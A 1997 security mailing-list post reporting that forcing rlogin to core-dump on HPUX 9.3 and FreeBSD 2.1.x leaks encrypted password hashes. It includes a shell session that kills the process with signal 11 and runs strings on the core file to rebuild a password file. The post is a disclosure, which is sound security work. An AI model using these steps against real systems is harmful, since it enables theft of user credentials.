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Re: FreeBSD,rlogin and coredumps.
From: lerperg () HUSC HARVARD EDU (Michael Lerperger)
Date: Mon, 17 Feb 1997 15:22:10 -0500

This behavior is reproducible on HPUX v9.3 Series 700 machines with the
rlogin cumulative patch PHNE_8805 installed. It was possible to extract
about 265 encrypted user passwords from the core file.

rlogind is disabled now on all HPUX v9.3 systems over here.


I tried this technique on my FreeBSD 2.1.0 box. It didn't work. I started
playing around with dump files:

~> rlogin
Last login: Mon Feb 17 00:35:49 from localhost
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
        The Regents of the University of California.   All rights reserved.

FreeBSD 2.1.0-RELEASE (WIPS) #0: Thu Oct 17 03:37:25 SAT 1996

You have new mail.

~> ps -ax | grep rlogin
 6528  ??  S      0:00.06 rlogind
 6527  p1  S+     0:00.05 rlogin
 6529  p1  S+     0:00.01 rlogin

~> kill -11 6529~> ls
Brain_Box       NS              cronjobs        mail            security
Mail            News            foon            rlogin.core
~>strings rlogin.core > unshadowed.passwdfile.reconstruct
~>vi unshadowed.passwdfile.reconstruct
and reconstruct..

I also tried this on a FreeBSD 2.1.5 box, and it did the same thing. I
wonder if there is a way to make a core dump only readable by root, and why
this isn't the default?

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